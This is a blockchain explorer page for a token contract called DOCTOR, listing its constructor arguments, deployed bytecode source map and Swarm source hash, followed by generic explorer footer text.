000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000004c53ecdc18a600000000000000000000000000000000000000000000000000000000000000000006444f43544f5200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006444f43544f520000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): DOCTOR
Arg [1] : symbol_ (string): DOCTOR
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 5500000000000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 0000000000000000000000000000000000000000000000004c53ecdc18a60000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 444f43544f520000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 444f43544f520000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12876:12089:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14326:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17043:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15425:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4854:109;;;:::i;:::-;;17719:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15269:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18582:288;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13397:103;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13217:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13629:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15596:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4973:235;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13508:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14536:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19373:388;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16339:301;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4618:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16711:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14326:91;14371:13;14404:5;14397:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14326:91;:::o;17043:194::-;17146:4;17168:39;17177:12;:10;:12::i;:::-;17191:7;17200:6;17168:8;:39::i;:::-;17225:4;17218:11;;17043:194;;;;:::o;15425:108::-;15486:7;15513:12;;15506:19;;15425:108;:::o;4854:109::-;4773:12;:10;:12::i;:::-;4761:24;;:8;;;;;;;;;;:24;;;4753:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;4923:32:::1;4952:1;4923:20;:32::i;:::-;4854:109::o:0;17719:454::-;17859:4;17876:36;17886:6;17894:9;17905:6;17876:9;:36::i;:::-;17923:220;17946:6;17967:12;:10;:12::i;:::-;17994:138;18050:6;17994:138;;;;;;;;;;;;;;;;;:11;:19;18006:6;17994:19;;;;;;;;;;;;;;;:33;18014:12;:10;:12::i;:::-;17994:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;17923:8;:220::i;:::-;18161:4;18154:11;;17719:454;;;;;:::o;15269:91::-;15318:5;15343:9;;;;;;;;;;;15336:16;;15269:91;:::o;18582:288::-;18685:4;18707:133;18730:12;:10;:12::i;:::-;18757:7;18779:50;18818:10;18779:11;:25;18791:12;:10;:12::i;:::-;18779:25;;;;;;;;;;;;;;;:34;18805:7;18779:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;18707:8;:133::i;:::-;18858:4;18851:11;;18582:288;;;;:::o;13397:103::-;4773:12;:10;:12::i;:::-;4761:24;;:8;;;;;;;;;;:24;;;4753:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13484:8:::1;13468:13;;:24;;;;;;;;;;;;;;;;;;13397:103:::0;:::o;13217:28::-;;;;;;;;;;;;;:::o;13629:121::-;13701:5;4773:12;:10;:12::i;:::-;4761:24;;:8;;;;;;;;;;:24;;;4753:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13726:6:::1;:16;13733:8;13726:16;;;;;;;;;;;;;;;;;;;;;;;;;13719:23;;13629:121:::0;;;:::o;15596:161::-;15697:7;15729:9;:20;15739:9;15729:20;;;;;;;;;;;;;;;;15722:27;;15596:161;;;:::o;4973:235::-;4773:12;:10;:12::i;:::-;4761:24;;:8;;;;;;;;;;:24;;;4753:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5110:1:::1;5088:24;;:10;:24;;::::0;5080:77:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;5168:32;5189:10;5168:20;:32::i;:::-;4973:235:::0;:::o;13508:113::-;4773:12;:10;:12::i;:::-;4761:24;;:8;;;;;;;;;;:24;;;4753:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13607:6:::1;13588;:16;13595:8;13588:16;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;13508:113:::0;;:::o;14536:95::-;14583:13;14616:7;14609:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14536:95;:::o;19373:388::-;19481:4;19503:228;19526:12;:10;:12::i;:::-;19553:7;19575:145;19632:15;19575:145;;;;;;;;;;;;;;;;;:11;:25;19587:12;:10;:12::i;:::-;19575:25;;;;;;;;;;;;;;;:34;19601:7;19575:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;19503:8;:228::i;:::-;19749:4;19742:11;;19373:388;;;;:::o;16339:301::-;16445:4;16483:9;:7;:9::i;:::-;16467:25;;:12;:10;:12::i;:::-;:25;;;16463:152;;16505:35;16522:9;16533:6;16505:16;:35::i;:::-;16463:152;;;16565:42;16575:12;:10;:12::i;:::-;16589:9;16600:6;16565:9;:42::i;:::-;16463:152;16628:4;16621:11;;16339:301;;;;:::o;4618:91::-;4666:7;4693:8;;;;;;;;;;;4686:15;;4618:91;:::o;16711:185::-;16827:7;16859:11;:20;16871:7;16859:20;;;;;;;;;;;;;;;:29;16880:7;16859:29;;;;;;;;;;;;;;;;16852:36;;16711:185;;;;:::o;8136:98::-;8194:7;8225:1;8221;:5;;;;:::i;:::-;8214:12;;8136:98;;;;:::o;3473:::-;3526:7;3553:10;3546:17;;3473:98;:::o;23414:388::-;23571:1;23552:21;;:7;:21;;;23544:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;23652:1;23633:21;;:7;:21;;;23625:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;23738:6;23706:11;:20;23718:7;23706:20;;;;;;;;;;;;;;;:29;23727:7;23706:29;;;;;;;;;;;;;;;:38;;;;23778:7;23760:34;;23769:7;23760:34;;;23787:6;23760:34;;;;;;:::i;:::-;;;;;;;;23414:388;;;:::o;5218:209::-;5296:18;5317:8;;;;;;;;;;;5296:29;;5347:10;5336:8;;:21;;;;;;;;;;;;;;;;;;5408:10;5373:46;;5396:10;5373:46;;;;;;;;;;;;5285:142;5218:209;:::o;20251:1235::-;20411:1;20393:20;;:6;:20;;;20385:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;20495:1;20474:23;;:9;:23;;;20466:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;20550:47;20571:6;20579:9;20590:6;20550:20;:47::i;:::-;20632:53;20668:6;20632:9;:17;20642:6;20632:17;;;;;;;;;;;;;;;;:21;;:53;;;;:::i;:::-;20612:9;:17;20622:6;20612:17;;;;;;;;;;;;;;;:73;;;;20698:22;20735:16;20789:1;20770:6;:14;20777:6;20770:14;;;;;;;;;;;;;;;;;;;;;;;;;:20;;;20766:297;;20825:13;;;;;;;;;;;20812:26;;:9;:26;;;20808:187;;20870:15;;20859:26;;20808:187;;;20920:13;;;;;;;;;;;20910:23;;:6;:23;;;20906:89;;20965:14;;20954:25;;20906:89;20808:187;20766:297;;;21037:6;:14;21044:6;21037:14;;;;;;;;;;;;;;;;;;;;;;;;;21026:25;;;;20766:297;21122:1;21092:29;21117:3;21092:20;21103:8;21092:6;:10;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;:31;;;;:::i;:::-;21075:48;;21155:1;21138:14;:18;21134:188;;;21243:1;21199:43;21227:14;21199:9;:23;21209:12;;;;;;;;;;;21199:23;;;;;;;;;;;;;;;;:27;;:43;;;;:::i;:::-;:45;;;;:::i;:::-;21173:9;:23;21183:12;;;;;;;;;;;21173:23;;;;;;;;;;;;;;;:71;;;;21281:12;;;;;;;;;;;21264:46;;21273:6;21264:46;;;21295:14;21264:46;;;;;;:::i;:::-;;;;;;;;21134:188;21407:1;21355:51;21404:1;21389:14;21380:6;:23;;;;:::i;:::-;:25;;;;:::i;:::-;21355:9;:20;21365:9;21355:20;;;;;;;;;;;;;;;;:24;;:51;;;;:::i;:::-;:53;;;;:::i;:::-;21332:9;:20;21342:9;21332:20;;;;;;;;;;;;;;;:76;;;;21441:9;21424:54;;21433:6;21424:54;;;21476:1;21461:14;21452:6;:23;;;;:::i;:::-;:25;;;;:::i;:::-;21424:54;;;;;;:::i;:::-;;;;;;;;20372:1114;;20251:1235;;;:::o;10415:224::-;10535:7;10585:1;10580;:6;;10588:12;10572:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;10623:1;10619;:5;10612:12;;10415:224;;;;;:::o;15970:363::-;16096:9;:7;:9::i;:::-;16080:25;;:12;:10;:12::i;:::-;:25;;;16072:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;16155:53;16176:12;:10;:12::i;:::-;16190:9;16201:6;16155:20;:53::i;:::-;16240:32;16265:6;16240:9;:20;16250:9;16240:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;16217:9;:20;16227:9;16217:20;;;;;;;;;;;;;;;:55;;;;16307:9;16284:41;;16293:12;:10;:12::i;:::-;16284:41;;;16318:6;16284:41;;;;;;:::i;:::-;;;;;;;;15970:363;;:::o;24837:125::-;;;;:::o;8517:98::-;8575:7;8606:1;8602;:5;;;;:::i;:::-;8595:12;;8517:98;;;;:::o;8874:::-;8932:7;8963:1;8959;:5;;;;:::i;:::-;8952:12;;8874:98;;;;:::o;9273:::-;9331:7;9362:1;9358;:5;;;;:::i;:::-;9351:12;;9273:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:118::-;5323:24;5341:5;5323:24;:::i;:::-;5318:3;5311:37;5236:118;;:::o;5360:222::-;5453:4;5491:2;5480:9;5476:18;5468:26;;5504:71;5572:1;5561:9;5557:17;5548:6;5504:71;:::i;:::-;5360:222;;;;:::o;5588:118::-;5659:22;5675:5;5659:22;:::i;:::-;5652:5;5649:33;5639:61;;5696:1;5693;5686:12;5639:61;5588:118;:::o;5712:135::-;5756:5;5794:6;5781:20;5772:29;;5810:31;5835:5;5810:31;:::i;:::-;5712:135;;;;:::o;5853:470::-;5919:6;5927;5976:2;5964:9;5955:7;5951:23;5947:32;5944:119;;;5982:79;;:::i;:::-;5944:119;6102:1;6127:53;6172:7;6163:6;6152:9;6148:22;6127:53;:::i;:::-;6117:63;;6073:117;6229:2;6255:51;6298:7;6289:6;6278:9;6274:22;6255:51;:::i;:::-;6245:61;;6200:116;5853:470;;;;;:::o;6329:474::-;6397:6;6405;6454:2;6442:9;6433:7;6429:23;6425:32;6422:119;;;6460:79;;:::i;:::-;6422:119;6580:1;6605:53;6650:7;6641:6;6630:9;6626:22;6605:53;:::i;:::-;6595:63;;6551:117;6707:2;6733:53;6778:7;6769:6;6758:9;6754:22;6733:53;:::i;:::-;6723:63;;6678:118;6329:474;;;;;:::o;6809:180::-;6857:77;6854:1;6847:88;6954:4;6951:1;6944:15;6978:4;6975:1;6968:15;6995:320;7039:6;7076:1;7070:4;7066:12;7056:22;;7123:1;7117:4;7113:12;7144:18;7134:81;;7200:4;7192:6;7188:17;7178:27;;7134:81;7262:2;7254:6;7251:14;7231:18;7228:38;7225:84;;7281:18;;:::i;:::-;7225:84;7046:269;6995:320;;;:::o;7321:221::-;7461:34;7457:1;7449:6;7445:14;7438:58;7530:4;7525:2;7517:6;7513:15;7506:29;7321:221;:::o;7548:366::-;7690:3;7711:67;7775:2;7770:3;7711:67;:::i;:::-;7704:74;;7787:93;7876:3;7787:93;:::i;:::-;7905:2;7900:3;7896:12;7889:19;;7548:366;;;:::o;7920:419::-;8086:4;8124:2;8113:9;8109:18;8101:26;;8173:9;8167:4;8163:20;8159:1;8148:9;8144:17;8137:47;8201:131;8327:4;8201:131;:::i;:::-;8193:139;;7920:419;;;:::o;8345:227::-;8485:34;8481:1;8473:6;8469:14;8462:58;8554:10;8549:2;8541:6;8537:15;8530:35;8345:227;:::o;8578:366::-;8720:3;8741:67;8805:2;8800:3;8741:67;:::i;:::-;8734:74;;8817:93;8906:3;8817:93;:::i;:::-;8935:2;8930:3;8926:12;8919:19;;8578:366;;;:::o;8950:419::-;9116:4;9154:2;9143:9;9139:18;9131:26;;9203:9;9197:4;9193:20;9189:1;9178:9;9174:17;9167:47;9231:131;9357:4;9231:131;:::i;:::-;9223:139;;8950:419;;;:::o;9375:180::-;9423:77;9420:1;9413:88;9520:4;9517:1;9510:15;9544:4;9541:1;9534:15;9561:305;9601:3;9620:20;9638:1;9620:20;:::i;:::-;9615:25;;9654:20;9672:1;9654:20;:::i;:::-;9649:25;;9808:1;9740:66;9736:74;9733:1;9730:81;9727:107;;;9814:18;;:::i;:::-;9727:107;9858:1;9855;9851:9;9844:16;;9561:305;;;;:::o;9872:223::-;10012:34;10008:1;10000:6;9996:14;9989:58;10081:6;10076:2;10068:6;10064:15;10057:31;9872:223;:::o;10101:366::-;10243:3;10264:67;10328:2;10323:3;10264:67;:::i;:::-;10257:74;;10340:93;10429:3;10340:93;:::i;:::-;10458:2;10453:3;10449:12;10442:19;;10101:366;;;:::o;10473:419::-;10639:4;10677:2;10666:9;10662:18;10654:26;;10726:9;10720:4;10716:20;10712:1;10701:9;10697:17;10690:47;10754:131;10880:4;10754:131;:::i;:::-;10746:139;;10473:419;;;:::o;10898:221::-;11038:34;11034:1;11026:6;11022:14;11015:58;11107:4;11102:2;11094:6;11090:15;11083:29;10898:221;:::o;11125:366::-;11267:3;11288:67;11352:2;11347:3;11288:67;:::i;:::-;11281:74;;11364:93;11453:3;11364:93;:::i;:::-;11482:2;11477:3;11473:12;11466:19;;11125:366;;;:::o;11497:419::-;11663:4;11701:2;11690:9;11686:18;11678:26;;11750:9;11744:4;11740:20;11736:1;11725:9;11721:17;11714:47;11778:131;11904:4;11778:131;:::i;:::-;11770:139;;11497:419;;;:::o;11922:224::-;12062:34;12058:1;12050:6;12046:14;12039:58;12131:7;12126:2;12118:6;12114:15;12107:32;11922:224;:::o;12152:366::-;12294:3;12315:67;12379:2;12374:3;12315:67;:::i;:::-;12308:74;;12391:93;12480:3;12391:93;:::i;:::-;12509:2;12504:3;12500:12;12493:19;;12152:366;;;:::o;12524:419::-;12690:4;12728:2;12717:9;12713:18;12705:26;;12777:9;12771:4;12767:20;12763:1;12752:9;12748:17;12741:47;12805:131;12931:4;12805:131;:::i;:::-;12797:139;;12524:419;;;:::o;12949:222::-;13089:34;13085:1;13077:6;13073:14;13066:58;13158:5;13153:2;13145:6;13141:15;13134:30;12949:222;:::o;13177:366::-;13319:3;13340:67;13404:2;13399:3;13340:67;:::i;:::-;13333:74;;13416:93;13505:3;13416:93;:::i;:::-;13534:2;13529:3;13525:12;13518:19;;13177:366;;;:::o;13549:419::-;13715:4;13753:2;13742:9;13738:18;13730:26;;13802:9;13796:4;13792:20;13788:1;13777:9;13773:17;13766:47;13830:131;13956:4;13830:131;:::i;:::-;13822:139;;13549:419;;;:::o;13974:348::-;14014:7;14037:20;14055:1;14037:20;:::i;:::-;14032:25;;14071:20;14089:1;14071:20;:::i;:::-;14066:25;;14259:1;14191:66;14187:74;14184:1;14181:81;14176:1;14169:9;14162:17;14158:105;14155:131;;;14266:18;;:::i;:::-;14155:131;14314:1;14311;14307:9;14296:20;;13974:348;;;;:::o;14328:191::-;14368:4;14388:20;14406:1;14388:20;:::i;:::-;14383:25;;14422:20;14440:1;14422:20;:::i;:::-;14417:25;;14461:1;14458;14455:8;14452:34;;;14466:18;;:::i;:::-;14452:34;14511:1;14508;14504:9;14496:17;;14328:191;;;;:::o;14525:223::-;14665:34;14661:1;14653:6;14649:14;14642:58;14734:6;14729:2;14721:6;14717:15;14710:31;14525:223;:::o;14754:366::-;14896:3;14917:67;14981:2;14976:3;14917:67;:::i;:::-;14910:74;;14993:93;15082:3;14993:93;:::i;:::-;15111:2;15106:3;15102:12;15095:19;;14754:366;;;:::o;15126:419::-;15292:4;15330:2;15319:9;15315:18;15307:26;;15379:9;15373:4;15369:20;15365:1;15354:9;15350:17;15343:47;15407:131;15533:4;15407:131;:::i;:::-;15399:139;;15126:419;;;:::o;15551:180::-;15599:77;15596:1;15589:88;15696:4;15693:1;15686:15;15720:4;15717:1;15710:15;15737:185;15777:1;15794:20;15812:1;15794:20;:::i;:::-;15789:25;;15828:20;15846:1;15828:20;:::i;:::-;15823:25;;15867:1;15857:35;;15872:18;;:::i;:::-;15857:35;15914:1;15911;15907:9;15902:14;;15737:185;;;;:::o

Swarm Source

ipfs://cb7c7b65095358419bf39a8578df02ee489460eb976b2d23ad64aeb13888e25a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.